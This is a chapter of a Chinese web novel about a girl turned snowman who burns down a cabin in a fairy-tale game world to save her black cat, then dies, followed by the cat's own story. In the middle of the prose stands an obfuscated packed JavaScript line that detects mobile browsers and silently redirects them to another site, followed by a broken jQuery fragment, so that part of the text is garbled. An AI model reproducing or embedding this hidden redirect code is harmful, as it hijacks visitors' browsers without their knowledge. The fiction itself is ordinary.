喉咙深处似乎泛起一股浓重的冰雪气息，甚至能隐约品出一丝铁锈般的血腥味。


    抱着猫和水碗拔腿就跑的时亦砜，一边试图拼命梗着脖子往下咽，试图把这不适的感觉吞下，一边无奈地晃了晃她那由雪团构成的、并不算很坚固的脑袋。


    好吧。


    时亦砜不得不承认，操控听话的冰块和操控那黑漆漆的、活见鬼似的怪东西，难度差距大概相当于堆雪人和攀登冰崖。


    故作坚强的时亦砜雪人在离开装满煤块的洞穴后，还是没忍住，“噗”地吐出了一口混杂着冰碴的雪沫。


    听到身后那愈发清晰、如同干柴被点燃般的“噼啪”燃烧声，她跑得更快了。


    她原本的想法很简单：冰能被操控，雪能被操控，大家都是“水”的亲戚，那咬咬牙，这勉强也算“液体”的黑色流体，是不是也能被她调用一下？


    有能听得懂她号令的魔法雪花，没准……就能有可以同样被利用的黑色“水流”。


    时亦砜记得，她还在木屋探索的时候，就见过雪孩子被黑色流体瞬间腐蚀，甚至连坚韧的兔子皮毛都能被烧穿。


    那左右她都要死了，不试试用这东西给奄奄一息的黑猫加热一碗能喝的水，起码抗过现在的脱水症状，那也太亏了。


    效果非常“显著”。


    在时亦砜集中精神，试图向那团黑色物质传递出一丝“友好交流”的意图的下一秒，她派去试探的雪团，就在一阵轻微的“嗤”声，在升腾起的淡淡黑烟中，被烧了个精光。


    时亦砜看着刚被自己补好，结果现在又被烧得少了一截的指头：“……”


    行吧，至少证明了它的“加热”效率确实很高。


    突然视角上方的倒计时闪烁了一下，时亦砜看到自己仅剩两分钟的生存时长，干脆心一横，硬是拿出整整一分钟的时间决定燃烧，直接开始尝试控制黑色流体本身。


    最开始，她那套远程驾驭冰层的“异能”似乎失效了。


    流质如同一潭冰冷的死水，论时亦砜如何威逼利诱“一团雪和一团黑乎乎的浆糊在物理形态上具有高度相似性”，对方都纹丝不动，丝毫没有像那些没脑子的冰壳一样，乖乖碎裂、归顺于她这个“有脑子的族群老大”麾下的意思。


    “……”


    时亦砜感觉现在的自己，是个修为散尽的女巫。


    虽然怀里还抱着只黑猫，却再也施展不出像样的“冰雪魔法”。


    端着刚用冰凝结出的碗，她摸了摸黑猫的额头，突然联想起来自己最初和这只黑猫建立“友谊”时，干过的一件蠢事。


    那时的黑猫，为了庆祝刚从医院恢复自由身，曾豪横地、带着一脸“快夸我”的表情，给她送来了一份“大礼”——


    一只活生生的、油光水滑的……大蟑螂。


    ……甚至还非常骄傲地挺起胸脯，亮亮的琥珀眼睛期待着她的反应。


    在一动不动怀疑北方到底为什么会出现蟑螂，和现在立刻就把这玩意丢到垃圾桶里之间，本着不能伤害孩子的一片孝心的时亦砜，选择了第三条路。


    她装作对这种“小意思”的礼物兴趣缺缺，然后原地取材，用快递盒子给黑猫剪了一个超大号的、纸板做的“双马尾”。


    “来……你去把你叼的那个‘小玩意儿’扔到垃圾桶，” 她语气平淡，指着纸板杰作，“我们玩这个‘大号’的。”


    黑猫震惊。


    黑猫绕着那个比它脑袋还大的纸板“双马尾”，原地转了三圈。


    最终，在时亦砜强装镇定的注视下，黑猫像丢垃圾一样嫌弃地吐掉了嘴里的真蟑螂，转而用一种近乎膜拜的眼神，仰望着能“捕获”如此巨型“猎物”的时亦砜。


    当然，后来因为公然在学校里“遛”纸板大蟑螂，而被表白墙惊叹她“神一般的动手能力配神经病的脑回路”，就是另一个故事了。


    而现在，面对一个不愿意认她做老大的外来物种，此刻的时亦砜同学，似乎决定效仿自己那套被实践证明过的、对付“一根筋生物”的成功经验。


    于是，她掏出一块冰壳，在似乎打算慢悠悠腐蚀掉引线的黑色流体面前，剜掉了一大块纸皮。


    时亦砜仔细观察着黑色流体的状态，雪人的嘴角勾起一个诡异且得意的弧度。


    怎么样，比你烧得快吧。


    黑色流体：“……”


    时亦砜一边惊叹自己死到临头还有如此先进的精神状态，一边接着剖开的鞭炮。


    在触碰到烟花的炸药粉末时，她的手指感知到了一些……很不一样的东西。


    有种湿滑的、带着腐朽尘土与墨水气息的流体，正一点点、如同有生命般，淌向她的掌心。


    开玩笑归开玩笑，时亦砜的本意，当然不是天真地相信这东西真能和雪花一样，被她的“人格魅力”所吸引。


    雪花能被她吸收，本身就是雪孩子验证了的副本规则。


    但按照这位“实践出真知”的奇怪同学一贯的思路：搞不清一种装置的运行规律，那就是要拆开看看。


    在黑色流体如同试探的毒蛇，一点点侵蚀、渗透她的雪人躯壳的时候，时亦砜屏住了呼吸。


    她开始尝试，将自己的雪花作为“祭品”——或者某种程度上，叫“探针”，一片片主动溶解、汇入其中。


    尽可能保存它本性的同时，看看能否试探性地，让自己的意志，如同操控冰雪那般，在微观层面，极其细微地影响它的流向与形态。


    一片雪花消融。


    两片雪花没入。


    在付出几乎整只雪手的代价之后，那黑色流体终于看似“顺从”地从她残破的掌心边缘淌下，精准地滴落在不远处一块黝黑的煤块上。


    一动不动。


    时亦砜没有丝毫犹豫。她立刻向那已与自身部分雪花混合的黑色流质，传递过去一个清晰、强烈的念头：


    “点燃它。”


    “轰——！”


    一声低沉的闷响。


    紧接着，橙红色中夹杂着不祥黑色的火焰，猛然从那块煤上窜起！


    火焰绽放的一刹那，时亦砜知道，自己赌赢了。


    代价是，她的身体内部似乎也被丝丝缕缕的黑色流体入侵，不可避免地开始侵蚀她的内脏。


    与此同时，时亦砜榨干了煤块山的最后一片冰壳，将自己的身体瞬间充盈、膨胀到极限，以期能在安顿好黑猫前，尽可能地拥有更长的生命。


    视野陡然抬高，这个被时亦砜收割后没有多余水汽、却堆满干燥煤块的地窖，此刻成为了那黑色流体最完美的燃料。


    既然黑猫注定要留在这里。


    既然狗副本让她死了还不够，还要继续牵连她的朋友。


    时亦砜看向已经烧到地窖入口处的火焰，敏捷地抱起黑猫，蓄力一脚，狠狠踹开了头顶那块厚重的木板。


    “回家”的路如果被堵死了，那么堵路的东西，就等着被能腐蚀一切的烈火，彻底焚烧干净吧。


    光线夹杂着灼热气流倾斜出来的下一秒，时亦砜的视野里，撞入了一个身影——


    一个披着完整兔皮、静静站在木屋里的雪人。


    正在煲冰蘑菇粥的雪孩子，动作猛然僵住。


    它纽扣做的眼睛似乎“看”向了时亦砜脚下——那传来不祥震颤和热度的地方。


    那张黑漆漆的嘴扭曲着，勾出一个抽象而狰狞的笑容，声音却带上一丝不易察觉的尖锐：


    “你居然真的没死透，还穿上了我的衣服……你这个卑劣的模仿者！”


    “接下来我还是要杀掉你，这场战斗，会非常、非常疯狂哦。”


    时亦砜：“……”


    感知着脚下的地窖传来细微的震颤，雪人版时亦砜同样歪嘴一笑。


    “虽然不知道你是怎么认出我的……”


    她将黑猫和水碗往怀里护了护。


    “但接下来我送给你的这个‘惊喜’，会更疯狂哦。”


    雪孩子似乎还想争辩什么，但话未出口，便被兔子陡然拔高的、凄厉到变调的尖叫盖了过去。


    时亦砜计算过煤块的具体位置。


    火势一旦成型，别说区区地窖，整座木质结构的房屋，连同其地基，都注定将化为一片燃烧的坟场。


    “警告！警告！副本结构遭受恶意毁坏——”


    “系统提示示示示——！！！”


    姗姗来迟的广播员呼喊，夹杂着刺耳的电流杂音。


    但对于生命仅剩最后几十秒、体内黑色流质仍在不断侵蚀的时亦砜而言，那声音已经模糊、遥远，如同隔着一层厚重的冰层。


    她只看到，一处贪婪的火舌舔开了地面，黑色的流质跃动在火焰周围，以燎原之势，瞬息间点燃了这个窄小的木屋。


    本就腐朽的柱子再也支撑不起破败的木屋，混着冰块的蘑菇汤也一点点融化了。


    时亦砜不再理会身后雪孩子与兔子的怒吼或哀鸣。


    她用残存的、逐渐变形的臂膀，紧紧抱起黑猫。在一人一猫因热浪而剧烈晃动的视野中，她们朝着与火海相反的方向，头也不回地狂奔。


    身后，传来轰隆作响的、如同巨兽咀嚼吞咽般的吞噬声。


    木屋，连同门口她那具早已冰冷的“尸首”，一同葬身于那片由她亲手点燃的、辉煌而残酷的炼狱。


    “我可能……要先走一步了。”


    跑至一处地势较高、火焰暂时无法触及的丛林边缘，时亦砜扶住自己因融化而不断晃动的头颅，对怀里埋着头的黑猫轻声说道，语气是故作轻松的安抚。


    和曾经的时亦砜每天看着黑猫喝完水后，嘱咐对方赶快“天气凉，赶快回去”的声音，一样温和。


    “你知道的，我是‘老大’。”


    “老大嘛……总是得先去前面，给咱俩开辟新领地的。”


    最后三十秒。


    “系统提示，生存时长即将归零，副本任务完成进度检测中……”


    冰冷的机械音第二次响起。黑猫听到了，但它置若罔闻。


    它只是用爪子更紧地扒住时亦砜的手臂，然后，极其缓慢、却又无比郑重地，冲她点了点头。


    它安静地看着时亦砜继续向前走，然后默默跟上，影子般粘在她的脚边。


    “新领地太远了……你留在这里，帮我看好这片地方，好吗？”


    时亦砜尝试用更温和的方式“驱逐”。


    黑猫没敢再看时亦砜的眼睛。


    它只是沉默地、固执地，保持着一步之遥，跟在她的身后。她走，它便走；她停下想用严厉的话语逼它离开，它便在她背过身去的瞬间，又悄悄缩短那一步的距离。


    直到最后。


    在时亦砜的雪人躯壳开始加速消融、边缘变得透明时——


    黑猫忽然上前，用尽它全身残余的力气，将它冰凉而湿润的鼻尖，极轻、极轻地，抵在了时亦砜那正在化为雪水的手腕上。


    这是一个很轻的、猫与猫之间表示“你属于这里”的动作。


    时亦砜愣住了。


    然后，她看到黑猫转过身，背对着她，蹲坐下来，尾巴紧紧圈住身体，只留下一个仿佛在守护着什么、又仿佛在拒绝观看的背影。


    它接受了。以它的方式。


    时亦砜最后看了一眼那个小小的、倔强的背影，意识终于被席卷而来的黑暗吞没。


    时亦砜。


    黑猫凑近那个正在一点点消融、归于无形的雪人，将额头轻轻抵在她最后留下的、那片即将被泥土吸收的湿润痕迹上。


    我可是黑猫大王。


    黑猫大王，什么都知道。所以——


    它“所以”了半天，直到看到视野尽头，这片荒原伴随着木屋倒下的巨响，寸寸崩塌。


    所以，等我们有机会再见的下一次。你不许再和这次一样，再骗我了。


    我记得，今年秋天，你给我做窝的时候，说这个窝能陪我很久很久。


    久到学校里的时亦砜离开了，有钱买大房子，能带我出去住的时候，也会好好地待在这里。


    我送你回寝室的路上，你指了指我们俩，说人和猫永远是一起走路好朋友。


    人往前走一百步，猫也跟着往前走一百步。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987543|193113||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人，猫祝福下一次遇到你，你能有三万多个日子，去走那一百步。


    不过猫呢，只剩下今天，还能再走一百步啦。


    黑猫慢慢站起身，看到一片雪水里，掉出来几样东西。


    一张厚厚的牛皮纸，带着一个煤块。


    以及它的……“礼物”。


    红色鞭炮的引线即将走向尽头，黑猫清楚，这是属于它的丧钟。


    时亦砜有一点，其实是真的想错了。


    黑猫也有自己的“任务”。


    它是猫，理解不了太多复杂的人类语言。但那个说话硬邦邦、没有起伏的广播员，在它来到这个新世界、和门口的雪人打完那一架后，告诉了它一个冰冷的任务：


    你的人类朋友，要离开很久。


    这一次，你要学会接受。


    “呜呜呜。”


    黑猫的嗓子，咕噜出三个模糊的音节。


    时亦砜。


    它说


    猫不想完成任务了。


    猫好像……接受不了。


    黑猫叼着快要烧没的鞭炮，和时亦砜剩下的那个煤块一起，用牛皮纸垫着，紧紧压在身下。


    人和猫，有很多不同。


    比如，人的生命对猫而言，是很长、很长的岁月。


    而且，人……总是会远走高飞的。


    黑猫清楚这个事实。


    从被时亦砜喂下第一杯水时清楚。


    从被她用攒了一个月的钱，送去医院做手术时清楚。


    从被她从航空箱里放出来，目送她拎着那个可能再也用不上、为了它却还是买过来的笼子，一点点走远时清楚。


    它记得刚从妈妈怀里离开时，它曾被别的人类送去过一个“家”。


    送它的人说，那是能吃饱饭的好地方。


    可它不喜欢那里弥漫的刺鼻酒气，更不喜欢那个家里，下手不知轻重、会把它打得很疼的人。


    所以它逃跑了。


    那是在去年冬天，一个很冷的艳阳天。


    它以为自己要冻死在街道的时候，一个背着沉重书包、带着一身疲倦气息的人，在它面前蹲了下来。


    后来带它去治伤，被她逼着吃了不少药，身子一天比一天健壮的时候，它又变得蔫蔫的了。


    “肾病。之前的主人可能，有虐待。最好是有个固定的住处，自动饮水机啥的，也得准备好。”


    坐在离开医院的颠簸车厢里，透过航空箱的缝隙，黑猫曾问自己：


    以前是没得选。


    那如果……如果这次时亦砜，想带它走呢？


    它不知道自己会不会答应。


    幸好，时亦砜没有能力让它陷入这种“烦恼”。


    她是个很穷很穷的学生，每天要做很多很多工作，才能买到每天晚上她要吃的，一个丑丑苹果。


    这么辛苦的人，一般都没有大房子住，负担不起另一条生命的全部重量。。


    更不能……


    带它走。


    “广播员提醒，居民时亦砜，代号‘第六日’。”


    “生命时长归零，确认死亡。”


    一本有着蓝色封皮、散发出淡淡冰雪气息的童话书，从书架中滑落，不偏不倚，砸在了一位图书管理员的头顶。


    “诶？这个版本……没见过啊。是我记错了吗？”


    管理员嘟嘟囔囔地走远了，预备去图书库里核对一番。


    而在某个已然彻底坍塌、归于寂静黑暗的副本废墟中，冰冷的播报仍在继续：


    “……校正。副本任务：帮助小兔子找到雪孩子，状态：已完成。关联故事角色小兔子：黑猫。雪孩子：时亦砜，已经重逢。”


    “奖励结算：生存时长十二小时。特殊道具‘黑猫的礼物’：效果：无条件引爆指定建筑物，单副本限用一次。”


    “特殊道具：‘硅焰’。效果：未知。”


    黑猫一点点闭上眼睛。


    它记得，时亦砜送它去过考察好的领养人家，无一例外，领养经历，都以它的绝食告终。


    “是不喜欢住在房子里？”


    从领养人家中回来后，时亦砜拎起黑猫，嘀咕了一句。


    叽里咕噜说什么呢，猫听不懂。


    黑猫隔着笼子蹭了蹭她的掌心，像是在庆祝自己再一次被她捡到。


    “……因不可抗力，第六日世界线已坍缩。相关奖励将进行后置处理，于第四日世界线进行交付。”


    图书馆里，那本被无意中摊开的、带着寒意与硝烟余韵的故事书，被风吹动着，翻到了最后一页。


    《时城童话集一》后记


    在第一朵烟花于山下小镇的夜空中粲然绽开之前，曾有一只黑色的森林猫悄然来访，迈着优雅而孤独的步子，游荡在这片被雪覆盖的丛林。


    它拥有宛如最深沉夜色的顺滑皮毛，一双金色的眼瞳，比遥远人类城邦里最辉煌的灯火，还要明亮温暖。


    它长久地守在某个地方，等待着一位或许有些莽撞、却心思柔软的“侦探”来到此地。


    这一次，在时钟的指针即将重合、旧年与新年交替的那个寂静缝隙里，它叫住了对方。


    “人类，人类。”


    它用尾巴蹭了蹭对方的靴子，和她一起，看着遥远的人类小镇里，新年的第一簇焰火，正撕裂黑暗，绚烂升起。


    在古老时钟发出宣告新生的 “咚”的一声鸣响之前，它开口说道，声音轻得像一片雪落下：


    “这一次……”


    “带我走吧。”


    它说。


    时亦砜猛地从宿舍床上坐起，冷汗浸透了睡衣。


    窗外阳光刺眼，手机屏幕嗡嗡震动着，似乎是班群里发来的新消息。


    一切仿佛只是一场噩梦。


    直到她的目光，落在枕边——


    一本蓝色封皮的《雪孩子》童话书，正静静躺在那里。


    书页间，夹着一枚焦黑的、残缺的红色鞭炮。


    而她手腕内侧，一道崭新、却毫无痛感的红色刻痕，正缓缓浮现，形状宛如一个静止的钟表指针。